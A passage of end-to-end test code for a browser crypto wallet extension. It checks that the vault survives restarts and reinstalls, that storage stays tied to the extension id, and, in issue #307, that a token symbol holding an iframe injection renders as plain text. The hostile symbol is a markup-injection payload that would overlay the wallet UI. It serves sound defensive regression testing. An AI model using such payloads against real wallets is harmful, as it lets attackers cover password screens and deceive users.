// browser; the profile, and whatever Firefox kept in it, did not.
|
||||||
|
let second;
|
||||||
|
try {
|
||||||
|
second = await start();
|
||||||
|
await second.newSession(profile);
|
||||||
|
} catch (e) {
|
||||||
|
console.error(
|
||||||
|
"e2e-firefox-reinstall: cannot restart the browser: " + e.message,
|
||||||
|
);
|
||||||
|
if (second) await second.quit().catch(() => {});
|
||||||
|
process.exitCode = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const secondId = await second.installAddon(artifact);
|
||||||
|
check(
|
||||||
|
"the add-on installs again after a browser restart with the " +
|
||||||
|
"same id",
|
||||||
|
secondId === EXTENSION_ID,
|
||||||
|
"re-installed id is " + JSON.stringify(secondId),
|
||||||
|
);
|
||||||
|
|
||||||
|
const secondUuid = await openPopup(second);
|
||||||
|
// The origin the popup is served from is not the thing that carries
|
||||||
|
// the wallet, and the uuid is read live for exactly that reason. In
|
||||||
|
// this run it comes back as the pinned one, because driver.js writes
|
||||||
|
// extensions.webextensions.uuids into the profile at every session
|
||||||
|
// start; an uninstall inside a running session drops the mapping and
|
||||||
|
// the next install mints a fresh uuid instead. Either way the storage
|
||||||
|
// area is keyed on the add-on id, never on this.
|
||||||
|
console.log(
|
||||||
|
"# run 2 moz-extension uuid: " +
|
||||||
|
secondUuid +
|
||||||
|
(secondUuid === EXTENSION_UUID
|
||||||
|
? " (the pinned one, re-applied at session start)"
|
||||||
|
: " (freshly minted)"),
|
||||||
|
);
|
||||||
|
|
||||||
|
const onWelcome = await second.isVisible("#view-welcome");
|
||||||
|
check(
|
||||||
|
"after a restart and re-add, the extension does not come up as " +
|
||||||
|
"a fresh install",
|
||||||
|
!onWelcome,
|
||||||
|
"the popup shows the welcome screen, which is what an empty " +
|
||||||
|
"storage partition looks like: the wallet is gone and only " +
|
||||||
|
"the recovery phrase would get it back.",
|
||||||
|
);
|
||||||
|
|
||||||
|
const after = await readVault(second);
|
||||||
|
check(
|
||||||
|
"the vault, xpub and first address survive the restart unchanged",
|
||||||
|
after.present &&
|
||||||
|
after.wallets === before.wallets &&
|
||||||
|
after.vault === before.vault &&
|
||||||
|
after.xpub === before.xpub &&
|
||||||
|
after.address === before.address,
|
||||||
|
"before: " +
|
||||||
|
JSON.stringify(before) +
|
||||||
|
" after: " +
|
||||||
|
JSON.stringify(after),
|
||||||
|
);
|
||||||
|
|
||||||
|
if (after.present) {
|
||||||
|
const revealed = await revealPhrase(second);
|
||||||
|
check(
|
||||||
|
"the vault still decrypts with the original password to the " +
|
||||||
|
"original recovery phrase",
|
||||||
|
revealed === phrase,
|
||||||
|
"the recovery phrase read back after the restart is not the " +
|
||||||
|
"one the wallet was created with",
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
check(
|
||||||
|
"the vault still decrypts with the original password to the " +
|
||||||
|
"original recovery phrase",
|
||||||
|
false,
|
||||||
|
"there was no vault left to decrypt",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- an explicit removal, in the same browser run ------------------
|
||||||
|
//
|
||||||
|
// Leave the popup FIRST. Removing the add-on destroys every document
|
||||||
|
// it serves, and the popup is this session's only window: uninstalling
|
||||||
|
// while it is on screen discards the browsing context, and every
|
||||||
|
// subsequent WebDriver command fails with "no such window" rather than
|
||||||
|
// with anything about the add-on. Observed, not anticipated.
|
||||||
|
await second.navigate("about:blank");
|
||||||
|
await second.uninstallAddon(EXTENSION_ID);
|
||||||
|
await second.installAddon(artifact);
|
||||||
|
await openPopup(second);
|
||||||
|
|
||||||
|
const afterRemoval = await readVault(second);
|
||||||
|
console.log(
|
||||||
|
"# after an explicit uninstall: " + JSON.stringify(afterRemoval),
|
||||||
|
);
|
||||||
|
// Recorded as observed behaviour, not as something this repo wants.
|
||||||
|
// Firefox destroys an add-on's storage when it is uninstalled, and
|
||||||
|
// that is correct of a browser — it is stated here, and in README.md,
|
||||||
|
// because for a WALLET it means about:addons "Remove" is irreversible
|
||||||
|
// except from the recovery phrase. If a Firefox ever stops doing it
|
||||||
|
// this fails and the claim gets rewritten from a new observation.
|
||||||
|
check(
|
||||||
|
"an explicit uninstall DESTROYS the vault (observed Firefox " +
|
||||||
|
"behaviour: Remove is irreversible, unlike a restart)",
|
||||||
|
afterRemoval.present === false,
|
||||||
|
"the vault survived an explicit uninstall: " +
|
||||||
|
JSON.stringify(afterRemoval),
|
||||||
|
);
|
||||||
|
} catch (e) {
|
||||||
|
failed += 1;
|
||||||
|
console.log("# ERROR in run 2: " + (e && e.stack ? e.stack : e));
|
||||||
|
} finally {
|
||||||
|
await second.quit().catch(() => {});
|
||||||
|
fs.rmSync(profile, { recursive: true, force: true });
|
||||||
|
}
|
||||||
|
|
||||||
|
console.log("1.." + checks.length);
|
||||||
|
if (checks.length === 0) {
|
||||||
|
console.log("# FAILED: this program asserted nothing");
|
||||||
|
process.exitCode = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
console.log(
|
||||||
|
"# " +
|
||||||
|
(checks.length - failed) +
|
||||||
|
"/" +
|
||||||
|
checks.length +
|
||||||
|
" checks passed",
|
||||||
|
);
|
||||||
|
if (failed > 0) {
|
||||||
|
console.log("# FAILED");
|
||||||
|
process.exitCode = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
main().catch((e) => {
|
||||||
|
console.error("e2e-firefox-reinstall: " + (e && e.stack ? e.stack : e));
|
||||||
|
process.exitCode = 1;
|
||||||
|
});
|
||||||
@@ -268,11 +268,15 @@ function ethCallResult(req, opts) {
|
|||||||
return ZERO_WORD;
|
return ZERO_WORD;
|
||||||
}
|
}
|
||||||
|
|
||||||
function tokenObject() {
|
// opts.tokenSymbolOverride is the hostile contract: set it and the explorer
|
||||||
|
// reports that string as the token's symbol, exactly as it would for a token
|
||||||
|
// whose symbol() returns markup. Read at request time, like every other
|
||||||
|
// fixture switch, so a test can flip it and reopen the popup.
|
||||||
|
function tokenObject(opts) {
|
||||||
return {
|
return {
|
||||||
address_hash: STUB_TOKEN.address,
|
address_hash: STUB_TOKEN.address,
|
||||||
address: STUB_TOKEN.address,
|
address: STUB_TOKEN.address,
|
||||||
symbol: STUB_TOKEN.symbol,
|
symbol: (opts && opts.tokenSymbolOverride) || STUB_TOKEN.symbol,
|
||||||
name: STUB_TOKEN.name,
|
name: STUB_TOKEN.name,
|
||||||
decimals: STUB_TOKEN.decimals,
|
decimals: STUB_TOKEN.decimals,
|
||||||
holders_count: STUB_TOKEN.holders,
|
holders_count: STUB_TOKEN.holders,
|
||||||
@@ -281,7 +285,7 @@ function tokenObject() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// One received ERC-20 transfer of 1.5 E2E to the address under test.
|
// One received ERC-20 transfer of 1.5 E2E to the address under test.
|
||||||
function tokenTransferItems(address) {
|
function tokenTransferItems(address, opts) {
|
||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
transaction_hash: STUB_TX_HASH,
|
transaction_hash: STUB_TX_HASH,
|
||||||
@@ -290,7 +294,7 @@ function tokenTransferItems(address) {
|
|||||||
from: { hash: STUB_COUNTERPARTY },
|
from: { hash: STUB_COUNTERPARTY },
|
||||||
to: { hash: address },
|
to: { hash: address },
|
||||||
total: { decimals: STUB_TOKEN.decimals, value: "1500000" },
|
total: { decimals: STUB_TOKEN.decimals, value: "1500000" },
|
||||||
token: tokenObject(),
|
token: tokenObject(opts),
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
@@ -317,11 +321,11 @@ function nativeTransactionItems(address) {
|
|||||||
// A holding of 1.5 E2E, in the shape src/shared/balances.js parses. Serving
|
// A holding of 1.5 E2E, in the shape src/shared/balances.js parses. Serving
|
||||||
// this is what puts an ERC-20 in the send screen's token dropdown, which is
|
// this is what puts an ERC-20 in the send screen's token dropdown, which is
|
||||||
// the only way the confirmation screen's ERC-20 path can be reached.
|
// the only way the confirmation screen's ERC-20 path can be reached.
|
||||||
function tokenBalanceItems() {
|
function tokenBalanceItems(opts) {
|
||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
value: "1500000",
|
value: "1500000",
|
||||||
token: tokenObject(),
|
token: tokenObject(opts),
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
@@ -596,6 +600,9 @@ function traceEnabled(raw) {
|
|||||||
* @param {string} [opts.tokenDecimalsOverride] what decimals() answers for
|
* @param {string} [opts.tokenDecimalsOverride] what decimals() answers for
|
||||||
* the stub token, in place of the value Blockscout reports for it. This is
|
* the stub token, in place of the value Blockscout reports for it. This is
|
||||||
* the token that lies about its scale; read at request time.
|
* the token that lies about its scale; read at request time.
|
||||||
|
* @param {string} [opts.tokenSymbolOverride] what the explorer reports as
|
||||||
|
* the stub token's symbol, in place of "E2E". This is the token whose
|
||||||
|
* symbol is markup; read at request time.
|
||||||
* @param {boolean} [opts.seedReceipt] answer eth_getTransactionReceipt with a
|
* @param {boolean} [opts.seedReceipt] answer eth_getTransactionReceipt with a
|
||||||
* confirmed receipt instead of null, so a wait screen resolves.
|
* confirmed receipt instead of null, so a wait screen resolves.
|
||||||
* @returns {Promise<{waitForServiceWorkerTraffic: (ms: number) =>
|
* @returns {Promise<{waitForServiceWorkerTraffic: (ms: number) =>
|
||||||
@@ -674,14 +681,14 @@ async function installNetworkStubs(ctx, opts) {
|
|||||||
return jsonResponse(route, {
|
return jsonResponse(route, {
|
||||||
items:
|
items:
|
||||||
opts.seedTokenTransfer && addr
|
opts.seedTokenTransfer && addr
|
||||||
? tokenTransferItems(addr)
|
? tokenTransferItems(addr, opts)
|
||||||
: [],
|
: [],
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
if (/\/addresses\/0x[0-9a-fA-F]{40}\/token-balances$/.test(p)) {
|
if (/\/addresses\/0x[0-9a-fA-F]{40}\/token-balances$/.test(p)) {
|
||||||
return jsonResponse(
|
return jsonResponse(
|
||||||
route,
|
route,
|
||||||
opts.seedTokenBalance ? tokenBalanceItems() : [],
|
opts.seedTokenBalance ? tokenBalanceItems(opts) : [],
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
for (const hash of [STUB_TX_HASH, STUB_NATIVE_TX_HASH]) {
|
for (const hash of [STUB_TX_HASH, STUB_NATIVE_TX_HASH]) {
|
||||||
|
|||||||
153
tests/e2e/run.js
153
tests/e2e/run.js
@@ -2169,6 +2169,156 @@ test("a token that lies about decimals() at signing time broadcasts nothing (#30
|
|||||||
await visible(env.page, "#view-address");
|
await visible(env.page, "#view-address");
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// ------------------------------------------- hostile token symbol (#307)
|
||||||
|
//
|
||||||
|
// The reproduction from the issue, in the real browser against the real
|
||||||
|
// shipped manifest. A token symbol is whatever the contract's symbol()
|
||||||
|
// returns, the explorer passes it through, and the popup interpolated it
|
||||||
|
// into an innerHTML string — so a token with 1,000 holders airdropped to
|
||||||
|
// the victim could paint a full-viewport cross-origin iframe over the
|
||||||
|
// wallet's own UI, on the screens where the user types their password.
|
||||||
|
//
|
||||||
|
// The iframe count and the rendered text are asserted separately on
|
||||||
|
// purpose, and neither substitutes for the other. `frame-src 'none'` stops
|
||||||
|
// an injected frame LOADING; it does not stop the element existing, so a
|
||||||
|
// zero iframe count is a claim about the escaping and about nothing else.
|
||||||
|
// The literal capped text is the claim that the symbol was treated as a
|
||||||
|
// string all the way down.
|
||||||
|
//
|
||||||
|
// The iframe count is taken on the address screen before anything is
|
||||||
|
// clicked. That is where the injected frame lands first, and it covers the
|
||||||
|
// viewport: with the escaping removed, every later step fails as a click
|
||||||
|
// timeout ("<iframe id=\"pwn\"> intercepts pointer events") rather than as
|
||||||
|
// anything that names the defect.
|
||||||
|
|
||||||
|
// Verbatim from the issue's reproduction.
|
||||||
|
const HOSTILE_SYMBOL =
|
||||||
|
'<iframe id="pwn" src="https://dapp.e2e.test/" ' +
|
||||||
|
'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
|
||||||
|
|
||||||
|
// What a correctly escaped and capped render of it reads as: the first
|
||||||
|
// MAX_SYMBOL_LENGTH-1 characters and an ellipsis. Spelled out rather than
|
||||||
|
// imported, so a change to the cap has to be restated here deliberately
|
||||||
|
// instead of being absorbed by a shared constant.
|
||||||
|
const HOSTILE_SYMBOL_DISPLAYED = "<iframe id=" + "…";
|
||||||
|
|
||||||
|
// Everything the popup can say about an injected symbol, read out of the
|
||||||
|
// live DOM in one pass.
|
||||||
|
function hostileSymbolState(page, tokenAddress) {
|
||||||
|
return page.evaluate((addr) => {
|
||||||
|
const row = document.querySelector(
|
||||||
|
'#wallet-list [data-token="' + addr + '"]',
|
||||||
|
);
|
||||||
|
// balanceLine() emits <div data-token><span><span>SYMBOL</span>…
|
||||||
|
// so this is the span the symbol itself was written into.
|
||||||
|
const symbolEl = row && row.firstElementChild.firstElementChild;
|
||||||
|
return {
|
||||||
|
rowFound: !!row,
|
||||||
|
rowText: row ? row.innerText.trim() : "",
|
||||||
|
symbolText: symbolEl ? symbolEl.textContent : "",
|
||||||
|
// The symbol's own span must hold text and nothing else. An
|
||||||
|
// element child here is the injection, whether or not it
|
||||||
|
// happens to be an iframe.
|
||||||
|
symbolElementChildren: symbolEl
|
||||||
|
? symbolEl.querySelectorAll("*").length
|
||||||
|
: -1,
|
||||||
|
// The whole popup document, not just the row: an injected
|
||||||
|
// element positioned fixed can be anywhere in the tree.
|
||||||
|
iframes: document.querySelectorAll("iframe").length,
|
||||||
|
pwnPresent: !!document.getElementById("pwn"),
|
||||||
|
};
|
||||||
|
}, tokenAddress);
|
||||||
|
}
|
||||||
|
|
||||||
|
test("a token whose symbol() returns markup renders as text (#307)", async (env) => {
|
||||||
|
env.routeOpts.ethBalanceWei = toHexWei(FUNDED_ETH_WEI);
|
||||||
|
env.routeOpts.seedTokenBalance = true;
|
||||||
|
env.routeOpts.tokenSymbolOverride = HOSTILE_SYMBOL;
|
||||||
|
console.log(
|
||||||
|
"# stub token symbol() now returns: " + JSON.stringify(HOSTILE_SYMBOL),
|
||||||
|
);
|
||||||
|
|
||||||
|
// Close and reopen so the refresh that runs on open fetches balances
|
||||||
|
// with the hostile symbol in them.
|
||||||
|
await reopenPopup(env, "#view-address");
|
||||||
|
await env.page.waitForFunction(
|
||||||
|
(addr) =>
|
||||||
|
!!document.querySelector(
|
||||||
|
'#address-balances [data-token="' + addr + '"]',
|
||||||
|
),
|
||||||
|
STUB_TOKEN.address,
|
||||||
|
{ timeout: 60000 },
|
||||||
|
);
|
||||||
|
const onAddress = await env.page.evaluate(() => ({
|
||||||
|
iframes: document.querySelectorAll("iframe").length,
|
||||||
|
pwnPresent: !!document.getElementById("pwn"),
|
||||||
|
}));
|
||||||
|
console.log("# address-detail iframes = " + onAddress.iframes);
|
||||||
|
assert(
|
||||||
|
onAddress.iframes === 0 && !onAddress.pwnPresent,
|
||||||
|
"the address screen contains " +
|
||||||
|
onAddress.iframes +
|
||||||
|
" iframe(s) after a hostile symbol rendered (#307)",
|
||||||
|
);
|
||||||
|
|
||||||
|
await env.page.click("#btn-address-back");
|
||||||
|
await visible(env.page, "#view-main");
|
||||||
|
await visible(
|
||||||
|
env.page,
|
||||||
|
'#wallet-list [data-token="' + STUB_TOKEN.address + '"]',
|
||||||
|
60000,
|
||||||
|
);
|
||||||
|
|
||||||
|
const st = await hostileSymbolState(env.page, STUB_TOKEN.address);
|
||||||
|
console.log(
|
||||||
|
"# iframes in the popup DOM = " +
|
||||||
|
st.iframes +
|
||||||
|
" | #pwn present = " +
|
||||||
|
st.pwnPresent +
|
||||||
|
" | symbol = " +
|
||||||
|
JSON.stringify(st.symbolText),
|
||||||
|
);
|
||||||
|
|
||||||
|
assert(st.rowFound, "the hostile token never rendered a row at all");
|
||||||
|
assert(
|
||||||
|
st.iframes === 0,
|
||||||
|
"the popup DOM contains " + st.iframes + " iframe(s) (#307)",
|
||||||
|
);
|
||||||
|
assert(!st.pwnPresent, "the injected #pwn element is in the popup DOM");
|
||||||
|
assert(
|
||||||
|
st.symbolElementChildren === 0,
|
||||||
|
"the symbol span grew " +
|
||||||
|
st.symbolElementChildren +
|
||||||
|
" element children out of a token symbol (#307)",
|
||||||
|
);
|
||||||
|
assert(
|
||||||
|
st.symbolText === HOSTILE_SYMBOL_DISPLAYED,
|
||||||
|
"the symbol did not render as the literal capped text " +
|
||||||
|
JSON.stringify(HOSTILE_SYMBOL_DISPLAYED) +
|
||||||
|
": " +
|
||||||
|
JSON.stringify(st.symbolText),
|
||||||
|
);
|
||||||
|
assert(
|
||||||
|
!st.rowText.includes("z-index"),
|
||||||
|
"the uncapped symbol reached the screen: " + JSON.stringify(st.rowText),
|
||||||
|
);
|
||||||
|
|
||||||
|
// Put the fixture back before the next test reads it, and let the
|
||||||
|
// stored balances be rewritten with the honest symbol.
|
||||||
|
env.routeOpts.tokenSymbolOverride = null;
|
||||||
|
await reopenPopup(env, "#view-main");
|
||||||
|
await env.page.waitForFunction(
|
||||||
|
(addr) => {
|
||||||
|
const row = document.querySelector(
|
||||||
|
'#wallet-list [data-token="' + addr + '"]',
|
||||||
|
);
|
||||||
|
return !!row && row.innerText.includes("E2E");
|
||||||
|
},
|
||||||
|
STUB_TOKEN.address,
|
||||||
|
{ timeout: 60000 },
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
// ------------------------------------------- dApp round trips (#183)
|
// ------------------------------------------- dApp round trips (#183)
|
||||||
//
|
//
|
||||||
// The seam. Everything above drives the popup on its own; this section is
|
// The seam. Everything above drives the popup on its own; this section is
|
||||||
@@ -3303,6 +3453,9 @@ async function main() {
|
|||||||
// something other than the value the same fixture reports through
|
// something other than the value the same fixture reports through
|
||||||
// Blockscout. The token that lies about its scale (#305).
|
// Blockscout. The token that lies about its scale (#305).
|
||||||
tokenDecimalsOverride: null,
|
tokenDecimalsOverride: null,
|
||||||
|
// What the explorer reports as the stub token's symbol. The token
|
||||||
|
// whose symbol() returns markup (#307).
|
||||||
|
tokenSymbolOverride: null,
|
||||||
// Whether eth_getTransactionReceipt confirms a transaction rather than
|
// Whether eth_getTransactionReceipt confirms a transaction rather than
|
||||||
// answering "not mined yet".
|
// answering "not mined yet".
|
||||||
seedReceipt: false,
|
seedReceipt: false,
|
||||||
|
|||||||
303
tests/e2e/storagePartition.js
Normal file
303
tests/e2e/storagePartition.js
Normal file
@@ -0,0 +1,303 @@
|
|||||||
|
// Where does chrome.storage.local live, and what moves it?
|
||||||
|
//
|
||||||
|
// The finding behind https://git.eeqj.de/sneak/AutistMask/issues/310: an
|
||||||
|
// unpacked Chrome extension with no `key` in its manifest gets an extension id
|
||||||
|
// derived from the ABSOLUTE PATH it was loaded from, and chrome.storage.local
|
||||||
|
// is partitioned by that id. README.md documents Load unpacked from
|
||||||
|
// dist/chrome/ as the install route, so moving the checkout, re-cloning it, or
|
||||||
|
// loading a second copy from anywhere else means a different id, a different
|
||||||
|
// storage partition, and a wallet that reads as empty — with no error, no
|
||||||
|
// prompt and nothing in the UI to say what happened.
|
||||||
|
//
|
||||||
|
// So this OBSERVES the behaviour rather than restating it. Two unpacked loads
|
||||||
|
// from two different directories, in one profile, with the shipped manifest
|
||||||
|
// and again with `key` stripped out, and it reports what each pair actually
|
||||||
|
// does. The assertions are on what was seen when this was written and are
|
||||||
|
// annotated as such; if Chrome's derivation ever changes, this says so instead
|
||||||
|
// of passing.
|
||||||
|
//
|
||||||
|
// Run through script/test-e2e, which builds the extension and the pinned
|
||||||
|
// container.
|
||||||
|
//
|
||||||
|
// node tests/e2e/storagePartition.js
|
||||||
|
//
|
||||||
|
// A separate program from run.js because every test there shares one browser
|
||||||
|
// and one extension load, and the whole subject here is what happens across
|
||||||
|
// two of each.
|
||||||
|
//
|
||||||
|
// The extension's own UI is deliberately not driven. What is under test is the
|
||||||
|
// storage partition, so a sentinel key the extension never reads or writes is
|
||||||
|
// written and read back directly: a wallet would prove the same thing more
|
||||||
|
// slowly, and would confuse an empty partition with a UI that failed to
|
||||||
|
// render.
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
|
||||||
|
const fs = require("fs");
|
||||||
|
const os = require("os");
|
||||||
|
const path = require("path");
|
||||||
|
|
||||||
|
const { chromium } = require("playwright-core");
|
||||||
|
|
||||||
|
const REPO_ROOT = path.resolve(__dirname, "..", "..");
|
||||||
|
const DIST_CHROME = path.join(REPO_ROOT, "dist", "chrome");
|
||||||
|
|
||||||
|
// Never touched by the extension: src/shared/state.js reads and writes the
|
||||||
|
// single key "autistmask" and nothing else.
|
||||||
|
const SENTINEL_KEY = "e2e-storage-partition-sentinel";
|
||||||
|
const SENTINEL_VALUE = "written-by-the-first-load";
|
||||||
|
|
||||||
|
const checks = [];
|
||||||
|
let failed = 0;
|
||||||
|
const scratch = [];
|
||||||
|
|
||||||
|
function check(name, cond, detail) {
|
||||||
|
checks.push(name);
|
||||||
|
if (cond) {
|
||||||
|
console.log("ok " + checks.length + " - " + name);
|
||||||
|
} else {
|
||||||
|
failed += 1;
|
||||||
|
console.log("not ok " + checks.length + " - " + name);
|
||||||
|
if (detail) console.log(" " + detail);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function tmpdir(tag) {
|
||||||
|
const dir = fs.mkdtempSync(
|
||||||
|
path.join(os.tmpdir(), "autistmask-" + tag + "-"),
|
||||||
|
);
|
||||||
|
scratch.push(dir);
|
||||||
|
return dir;
|
||||||
|
}
|
||||||
|
|
||||||
|
// A copy of the built extension at a fresh absolute path. `withKey: false`
|
||||||
|
// strips the manifest's `key`, which is the pre-fix state of this repo and the
|
||||||
|
// control the whole program is built around.
|
||||||
|
function extensionCopy(tag, withKey) {
|
||||||
|
const dir = path.join(tmpdir(tag), "chrome");
|
||||||
|
fs.cpSync(DIST_CHROME, dir, { recursive: true });
|
||||||
|
const manifestPath = path.join(dir, "manifest.json");
|
||||||
|
const manifest = JSON.parse(fs.readFileSync(manifestPath, "utf8"));
|
||||||
|
if (withKey) {
|
||||||
|
if (!manifest.key) {
|
||||||
|
throw new Error(
|
||||||
|
"dist/chrome/manifest.json has no `key`, so this program has " +
|
||||||
|
"nothing to observe. That field is what pins the " +
|
||||||
|
"extension id; see tests/extensionId.test.js.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
delete manifest.key;
|
||||||
|
}
|
||||||
|
fs.writeFileSync(manifestPath, JSON.stringify(manifest, null, 4));
|
||||||
|
return dir;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function launch(profileDir, extensionDirs) {
|
||||||
|
const ctx = await chromium.launchPersistentContext(profileDir, {
|
||||||
|
// See the note in harness.js: the default headless shell silently
|
||||||
|
// refuses to load extensions.
|
||||||
|
channel: "chromium",
|
||||||
|
headless: true,
|
||||||
|
args: [
|
||||||
|
"--disable-extensions-except=" + extensionDirs.join(","),
|
||||||
|
"--load-extension=" + extensionDirs.join(","),
|
||||||
|
"--no-sandbox",
|
||||||
|
// Nothing here should reach the network; this makes sure it
|
||||||
|
// cannot.
|
||||||
|
"--host-resolver-rules=MAP * ~NOTFOUND",
|
||||||
|
],
|
||||||
|
});
|
||||||
|
return ctx;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Every extension id Chrome ended up with in this context, from the service
|
||||||
|
// worker urls. MV3 registers one worker per loaded extension.
|
||||||
|
async function extensionIds(ctx, expected) {
|
||||||
|
const deadline = Date.now() + 30000;
|
||||||
|
for (;;) {
|
||||||
|
const ids = [
|
||||||
|
...new Set(ctx.serviceWorkers().map((w) => new URL(w.url()).host)),
|
||||||
|
].sort();
|
||||||
|
if (ids.length >= expected) return ids;
|
||||||
|
if (Date.now() > deadline) return ids;
|
||||||
|
await new Promise((r) => setTimeout(r, 200));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Open one extension's popup and run `fn` in it. The popup page is used rather
|
||||||
|
// than the service worker because Chrome stops an idle MV3 worker, and a
|
||||||
|
// handle to a stopped worker cannot be evaluated in.
|
||||||
|
async function inExtension(ctx, id, fn, arg) {
|
||||||
|
const page = await ctx.newPage();
|
||||||
|
try {
|
||||||
|
await page.goto("chrome-extension://" + id + "/src/popup/index.html");
|
||||||
|
return await page.evaluate(fn, arg);
|
||||||
|
} finally {
|
||||||
|
await page.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const writeSentinel = ([key, value]) =>
|
||||||
|
new Promise((resolve) => {
|
||||||
|
chrome.storage.local.set({ [key]: value }, () => resolve(true));
|
||||||
|
});
|
||||||
|
|
||||||
|
const readSentinel = (key) =>
|
||||||
|
new Promise((resolve) => {
|
||||||
|
chrome.storage.local.get(key, (r) => resolve(r[key] ?? null));
|
||||||
|
});
|
||||||
|
|
||||||
|
// Load `firstDir` in a fresh profile, write the sentinel, close; load
|
||||||
|
// `secondDir` in the SAME profile, read it back. Returns both ids and what the
|
||||||
|
// second load saw.
|
||||||
|
async function acrossTwoPaths(tag, firstDir, secondDir) {
|
||||||
|
const profile = tmpdir(tag + "-profile");
|
||||||
|
|
||||||
|
const first = await launch(profile, [firstDir]);
|
||||||
|
let firstId;
|
||||||
|
try {
|
||||||
|
[firstId] = await extensionIds(first, 1);
|
||||||
|
if (!firstId) throw new Error("no extension loaded from " + firstDir);
|
||||||
|
await inExtension(first, firstId, writeSentinel, [
|
||||||
|
SENTINEL_KEY,
|
||||||
|
SENTINEL_VALUE,
|
||||||
|
]);
|
||||||
|
} finally {
|
||||||
|
await first.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
const second = await launch(profile, [secondDir]);
|
||||||
|
let secondId;
|
||||||
|
let seen;
|
||||||
|
try {
|
||||||
|
[secondId] = await extensionIds(second, 1);
|
||||||
|
if (!secondId) throw new Error("no extension loaded from " + secondDir);
|
||||||
|
seen = await inExtension(second, secondId, readSentinel, SENTINEL_KEY);
|
||||||
|
} finally {
|
||||||
|
await second.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
return { firstId, secondId, seen };
|
||||||
|
}
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
if (!fs.existsSync(path.join(DIST_CHROME, "manifest.json"))) {
|
||||||
|
console.error(
|
||||||
|
"storagePartition: no unpacked build at " +
|
||||||
|
DIST_CHROME +
|
||||||
|
" — run make build first",
|
||||||
|
);
|
||||||
|
process.exitCode = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
// --- the shipped manifest, which carries `key` ----------------------
|
||||||
|
const keyedA = extensionCopy("keyed-a", true);
|
||||||
|
const keyedB = extensionCopy("keyed-b", true);
|
||||||
|
const keyed = await acrossTwoPaths("keyed", keyedA, keyedB);
|
||||||
|
console.log("# with `key`: " + keyedA + " -> " + keyed.firstId);
|
||||||
|
console.log("# with `key`: " + keyedB + " -> " + keyed.secondId);
|
||||||
|
console.log("# with `key`: sentinel read back: " + keyed.seen);
|
||||||
|
|
||||||
|
check(
|
||||||
|
"with `key`, two different paths produce the SAME extension id",
|
||||||
|
keyed.firstId === keyed.secondId,
|
||||||
|
keyed.firstId + " != " + keyed.secondId,
|
||||||
|
);
|
||||||
|
check(
|
||||||
|
"with `key`, the second path reads the first path's storage",
|
||||||
|
keyed.seen === SENTINEL_VALUE,
|
||||||
|
"the second load read " +
|
||||||
|
JSON.stringify(keyed.seen) +
|
||||||
|
" instead of the value the first load wrote. The storage " +
|
||||||
|
"partition did not follow the extension across the move, " +
|
||||||
|
"which is the wallet silently reading as empty.",
|
||||||
|
);
|
||||||
|
|
||||||
|
// --- the same build with `key` removed: the control -----------------
|
||||||
|
const barePath = extensionCopy("bare-a", false);
|
||||||
|
const bareB = extensionCopy("bare-b", false);
|
||||||
|
const bare = await acrossTwoPaths("bare", barePath, bareB);
|
||||||
|
console.log("# without `key`: " + barePath + " -> " + bare.firstId);
|
||||||
|
console.log("# without `key`: " + bareB + " -> " + bare.secondId);
|
||||||
|
console.log("# without `key`: sentinel read back: " + bare.seen);
|
||||||
|
|
||||||
|
// Observed, not assumed. If Chrome ever stops deriving the id from
|
||||||
|
// the load path these two fail, and the right response is to record
|
||||||
|
// what it does now — not to delete them.
|
||||||
|
check(
|
||||||
|
"without `key`, two different paths produce DIFFERENT ids " +
|
||||||
|
"(observed Chrome behaviour, the defect this fixes)",
|
||||||
|
bare.firstId !== bare.secondId,
|
||||||
|
"both loads got " +
|
||||||
|
bare.firstId +
|
||||||
|
", so the id no longer follows the load path on this Chrome",
|
||||||
|
);
|
||||||
|
check(
|
||||||
|
"without `key`, the second path sees an EMPTY partition " +
|
||||||
|
"(observed Chrome behaviour, the defect this fixes)",
|
||||||
|
bare.seen === null,
|
||||||
|
"the second load read " +
|
||||||
|
JSON.stringify(bare.seen) +
|
||||||
|
" from a different id's partition",
|
||||||
|
);
|
||||||
|
|
||||||
|
// --- both copies loaded at once, in one profile ---------------------
|
||||||
|
// The literal shape of the question, kept because "two unpacked loads
|
||||||
|
// in one profile" is what a user does when they forget to remove the
|
||||||
|
// old one. With `key`, both copies claim the same id.
|
||||||
|
const profile = tmpdir("simultaneous-profile");
|
||||||
|
const ctx = await launch(profile, [keyedA, keyedB]);
|
||||||
|
let ids = [];
|
||||||
|
try {
|
||||||
|
ids = await extensionIds(ctx, 2);
|
||||||
|
} finally {
|
||||||
|
await ctx.close();
|
||||||
|
}
|
||||||
|
console.log(
|
||||||
|
"# both keyed copies loaded at once: " +
|
||||||
|
ids.length +
|
||||||
|
" extension id(s): " +
|
||||||
|
ids.join(", "),
|
||||||
|
);
|
||||||
|
check(
|
||||||
|
"loading both keyed copies at once yields one id, not two " +
|
||||||
|
"(observed: Chrome does not load a second copy of an id it " +
|
||||||
|
"already has)",
|
||||||
|
